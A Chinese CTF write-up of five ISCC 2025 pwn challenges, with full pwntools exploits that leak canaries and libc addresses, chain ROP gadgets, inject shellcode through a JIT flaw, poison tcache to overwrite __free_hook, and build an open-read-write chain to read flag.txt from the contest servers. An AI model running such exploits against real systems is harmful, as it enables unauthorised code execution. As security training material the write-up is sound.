2025 ISCC 练武赛Pwn-wp(含附件)
前言
去年个人赛报名了忘记打了(笑), 所以这应该算是我第一次参加ISCC, 体验也是非常非常非常非常的cha(第四声)!!!
主办方也是非常幽默,pwn和web都是公用容器,那web最后都被当成玩具玩坏了
下面是这次练武题的pwn所有附件
通过网盘分享的文件:2025ISCC练武赛Pwn全部附件.rar
链接: https://pan.baidu.com/s/1aDBEOZ4XESb6yfCrCI5Wgg?pwd=xidp 提取码: xidp
解出
genius
先后输入 no
和 thanks
最终进入 function3函数
中,这里存在两个溢出,一个是 read溢出
,一个是 gets溢出
我们注意到read溢出下面有一个pritnf输出,所以我们可以通过read来覆盖掉canary结尾的\x00
使得canary被pritnf输出,然后再利用gets溢出打ROP,注意程序已经为我们提供了 backdoor
完整exp如下:
from xidp import *#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'challenge = "./pwn"
libc_path = ''
ip = '101.200.155.151:12000'# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------#---------------------debug------------------------------
# 自定义cmd
cmd = """set follow-fork-mode parent\n"""
# 断点
bps = []
#---------------------debug-------------------------------
# pwndbg(1, bps, cmd)back_door = 0x004011A6
ret = 0x000000000040101a#: ret;
io.sendline("no")
io.sendline("thanks")
payload = cyclic(0x18)
io.sendline(payload)
io.recvuntil(b'faaa')canary = u64(io.recv(8))-0xa
leak("canary")payload = b'a'*0x18 + p64(canary) + p64(0) + p64(ret) + p64(back_door)io.sendline(payload)
ia()
Fufu
选择1,利用整数溢出绕过检查,获得 格式化字符串
和 read溢出
,利用 格式化字符串
获得 程序基地址
,libc地址
, canary的值
,然后正常打ROP即可
完整exp如下:
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'challenge = "./pwn"
libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '101.200.155.151:12600'# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)debug(0) # 其他-debug 1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------#---------------------debug------------------------------
# 自定义cmd
cmd = """set follow-fork-mode parent\n"""
# 断点
bps = [0x01237]
#---------------------debug-------------------------------sdla(b"Furina: Your choice? >> ", b"1")
sdla(b"Furina: Time is limited! >> ", str(429496730))
rcu("Furina: Present your evidence! >> ")# puts_addr_offset = 11
# canary_offset = 17
# main_addr_offset = 25
payload = b"%11$p_%17$p_%25$p"
sdl(payload)rcu("0x")
puts_addr = int(io.recv(12), 16) - 346
rcu("0x")
canary = int(io.recv(16), 16)
rcu("0x")
main_addr = int(io.recv(12), 16)
leak("puts_addr")
leak("canary")
leak("main_addr")
elf_base = main_addr - 0x1338
leak("elf_base")# libc_base = puts_addr - libc.symbols["puts"]
# system = libc_base + libc.symbols["system"]
# binsh = libc_base + next(libc.search(b"/bin/sh"))
libc = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc.dump("puts")
system = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")pop_rdi_ret = elf_base + 0x000000000000132f#: pop rdi; ret;
ret = elf_base + 0x000000000000101a#: ret;payload = p64(canary) * 11
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(ret)
payload += p64(system)sdla(b"hcy want to eat chicken! >> ", payload)# pwndbg(1, bps, cmd)ia()
mutsumi
整个程序主要分为三个流程,在main函数
中按照固定格式不断读取数据,在mutsumi_jit函数
中堆读取的数据进行分析,最后run_vm函数
会跳转到0x114000(存放解析后指令的地址执行程序)
固定的格式有三种:
xxxx,ido
to
<人名>
xxxx,ido
<数字>
saki,ido
stop
// 这里必须是saki才可以stop
第一种在漏洞利用中没有用到
第二种就是按照这个格式输入数字,最后这个数字会被存在堆中,在程序停止接收输入后进入到mutsumi_jit函数函数后会被解析为对应的jmp指令
第三种就是告诉程序停止接收输入,注意第三种开头必须是saki否则程序会强制退出,具体如下
题目的漏洞点在 main -> mutsumi_jit -> imm2asm
这个函数中
简单来说这个程序就是 imm2asm(number, &len)
如果 number > 255
那么就返回 jmp number
如果 number < 255
那么就返回 jmp rip+number
那么我们的利用方法是这样的
我们先输入一个 1
那么得到 jmp rip+1
然后输入我们想要的指令的字节码(必须是4字节,不为四字节用\x90补齐) 得到 jmp xxxxx(我们的指令)
由于rip是指向下一条指令的地址,那么rip+1就是下一条指令去掉第一个开头的指令,也就是去掉了jmp的指令,那么就变成了我们输入的指令
我们可以使用gdb调试
和pwndbg的x/50i 指令
来验证
将程序运行此处,查看执行的汇编代码
查看我们输入的内容
从这里我们就可以看到 我们0x114003的下面本该是从0x114005开始执行,但是却跳到了0x114006
如何就导致这个指令从jmp xxxx
变成了xor al,0x3b;
由此我们可以实现我们的ret2syscall
完整exp如下:
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'challenge = "./pwn"
libc_path = ''
ip = '101.200.155.151:12800'# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)debug(0) # 其他-debug 1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 自定义cmd
cmd = """set follow-fork-mode parent\n"""
# 断点
# bps = [0x1697, 0x016E3, 0x018EA]
bps = [0x0156B]
#---------------------debug-------------------------------def send_cmd(payload):io.sendline(b'xidp,ido')io.sendline(payload)def bytes_to_int_encoder(bytes):return str(struct.unpack('<I', bytes)[0])# 0x68732f6e69622f = hs/nib/
code_fragments = [b"\x34\x3b\x90\x90",# xor al,0x3b; nop; nopb"\x48\x31\xf6\x90",# xor rsi,rsi; nop;b"\x48\x31\xd2\x90",# xor rdi,rdi; nop;b"\x66\xbb\x73\x68",#mov bx,0x6873b"\x48\xc1\xe3\x10",#shl rbx,0x10b"\x66\xbb\x6e\x2f",#mov bx,0x2f6eb"\x48\xc1\xe3\x10",#shl rbx,0x10b"\x66\xbb\x62\x69",#mov bx,0x6962b"\x48\xc1\xe3\x08",#shl rbx,0x8 注意这里是shl 0x8 不是shl 0x10 所以下面需要重复一个\x62b"\x66\xbb\x2f\x62",#mov bx,0x622fb"\x53\x90\x90\x90",#push rbxb"\x89\xe7\x90\x90",#mov edi,espb"\x0f\x05\x90\x90",#syscall
]for code_segment in code_fragments:send_cmd(payload = b"1")send_cmd(payload = bytes_to_int_encoder(code_segment)) # 输入payload# pwndbg(1, bps, cmd)# 结束输入开始运行
io.sendline(b'saki,stop')ia()
program
一个基础入门的堆题,所使用的版本为 Ubuntu GLIBC 2.31-0ubuntu9.17
程序同时存在 UAF
和 堆溢出
两个漏洞,但是由于libc版本不高,我做的时候发现了UAF就直接开始打了,只用了UAF就做出来了,没用用到堆溢出
大致思路就是攻击 tcachebin
使用了 house of botcake
的攻击手法,修改 tcachebin
的 next指针
为 free_hook
,修改 free_hook
为 system_addr
然后找一个 chunk
写入 /bin/sh
字符串,然后 free
这个 chunk
完整exp如下:
from xidp import *#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'challenge = "./pwn"
libc_path = '/home/xidp/tools/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so'
ip = '101.200.155.151:12300'# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)debug(0) # 其他-debug 1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------#---------------------debug------------------------------
# 自定义cmd
cmd = """set follow-fork-mode parent\nx/30gx 0x4040C0\n"""
# 断点
bps = []
#---------------------debug-------------------------------
menu = "choice:\n"
def add(idx, size): sdla(menu, str(1)) sdla("index:\n", str(idx)) sdla("size:\n", str(size)) def free(idx): sdla(menu, str(2)) sdla("index:\n", str(idx)) def edit(idx, lenth, content): sdla(menu, str(3)) sdla("index:\n", str(idx)) sdla("length:\n", str(lenth)) sda("content:\n", content) def show(idx): sdla(menu, str(4)) sdla("index:\n", str(idx))for i in range(0, 9):add(i, 0x100)add(9, 0x20) # 防止合并for i in range(0, 9):free(i)add(10, 0x30)
show(10)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x1ECDF0
leak("libc_base", libc_base)
free_hook = libc_base + libc.symbols['__free_hook']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
system = libc_base + libc.symbols['system']
leak("free_hook", free_hook)
leak("malloc_hook", malloc_hook)
leak("binsh", binsh)
leak("system", system)add(11, 0x100)
free(8)
add(12, 0x1d0) # 可以控制到chunk9的next指针
payload = p64(0)*(2*12)
payload += p64(0x110) + p64(0x110)
payload += p64(free_hook)
edit(12, 0x100, payload)
edit(2, 0x100, b"/bin/sh\x00") # 把binsh字符串写入到chunk2中
add(13, 0x100)
add(14, 0x100)
edit(14, 0x100, p64(system)) # chunk14的fd指向systemfree(2)
# pwndbg(1, bps, cmd)ia()
远程有点怪,我明明打的shell,但是远程直接就输出flag给我了
Dilemma
程序开启了沙箱保护
func_1函数中先 格式化字符串
后 read溢出
,但read溢出量不够我们打ORW
func_0函数中 先 read溢出
后 格式化字符串
, 这里格式化字符串不好利用,但是read溢出量足够大
所以我的思路是先利用 func_1中的格式化字符串漏洞泄露canary和栈地址,并且利用其中的read溢出转移到func_0中
随后利用func_0中的read溢出构造puts泄露libc地址,然后再次返回func_0,构造ROP,打ORW
这里有人就要问了,诶,为什么第一次格式化字符串不直接泄露libc地址呢,而是需要在第二次中利用puts来泄露libc地址呢
理由很简单啊,下面是我本地调用call printf
的时候栈内存的情况,我做的时候头都晕了,下面哪个可以用来泄露libc地址我一时间都想不起来,(那个__libc_start_call_main+128不行吗?也许是可以的,但是我不喜欢),头一热我感觉构造个puts也不麻烦,然后我就这样做了,现在想起来我构造了那么一大段真是勤劳的小蜜蜂
然后利用puts泄露了read地址,puts地址,printf地址,然后放到网站里面查找得到远程libc为libc6_2.35-0ubuntu3.8_amd64.so
网址: libc-database
应该还有更方便的方法直接泄露libc_base,然后打ORW的那种,但是我已经不想去研究了
完整exp如下:
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'challenge = "./pwn"
# libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc6_2.35-0ubuntu3.8_amd64.so'
ip = '101.200.155.151:12500'# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
# context.terminal = ['tmux', 'splitw', '-h']
#---------------------初始化-----------------------------#---------------------debug------------------------------
# 自定义cmd
cmd = """set follow-fork-mode parent\n"""
# 断点
bps = [0x040129B]
#---------------------debug-------------------------------
func1_addr = 0x0401235
func2_addr = 0x04011A3
pop_rdi_ret = 0x000000000040119a#: pop rdi; ret;
leave_ret = 0x0000000000401233#: leave; ret;
ret = 0x000000000040101a#: ret;
bss_addr = 0x0404080 + 0x300
puts_got = elf.got["puts"] # 0x7fc6afd5ae50
printf_got = elf.got["printf"] # 0x7fd87dcab6f0
read_got = elf.got["read"] # 0x7f0d77c007d0
puts_got = elf.got["puts"]
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]sdla("where are you go?\n", str(1)) # canary_offset = 15
# stack_addr = 9
# 0x7fffffffdf10 stack_addrpwndbg(0, bps, cmd)payload = "%15$p_%9$p"
sdla("Enter you password:\n", payload)
rcu("0x")
canary = int(io.recv(16), 16)
leak("canary")
rcu("0x")
stack_addr = int(io.recv(12), 16)
leak("stack_addr")
flag_addr = stack_addr - 32
leak("flag_addr")
payload = cyclic(40)
payload += p64(canary)
payload += p64(0)
payload += p64(ret) # 这里还需要栈对齐,因为下面func2里面有printf需要栈对齐,否则会卡住
payload += p64(func2_addr)
sdla("I will check your password:\n", payload)payload = cyclic(40)
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(func2_addr)
sdla("We have a lot to talk about\n", payload)rcu("To find life in the face of death")
rc(41)
puts_addr = uu64()
leak("puts_addr")libc_base = puts_addr - libc.symbols["puts"]
open_addr = libc_base + libc.symbols["open"]
read_addr = libc_base + libc.symbols["read"]
write_addr = libc_base + libc.symbols["write"]# libc6_2.35-0ubuntu3.8_amd64.sopop_rsi_ret = libc_base + 0x0000000000141d5e#: pop rsi; ret;
pop_rdx_r_ret = libc_base + 0x000000000011f2e7#: pop rdx; pop r12; ret;leak("libc_base")
leak("open_addr")
leak("read_addr")
leak("write_addr")payload = b"flag.txt" # 这里远程的flag叫做flag.txt卡了我半天,ISCC你赢了
payload = payload.ljust(40, b'\x00')
payload += p64(canary)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(flag_addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(open_addr)payload += p64(pop_rdi_ret)
payload += p64(3)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(pop_rdx_r_ret)
payload += p64(0xff)
payload += p64(0)
payload += p64(read_addr)payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(bss_addr)
payload += p64(write_addr)put(len(payload))sdla("We have a lot to talk about\n", payload)ia()
未解出
easybee
真是不会了内核,我的泪,最后咋900来解?水平还是太差了,还要继续努力,求个会内核的师傅带带。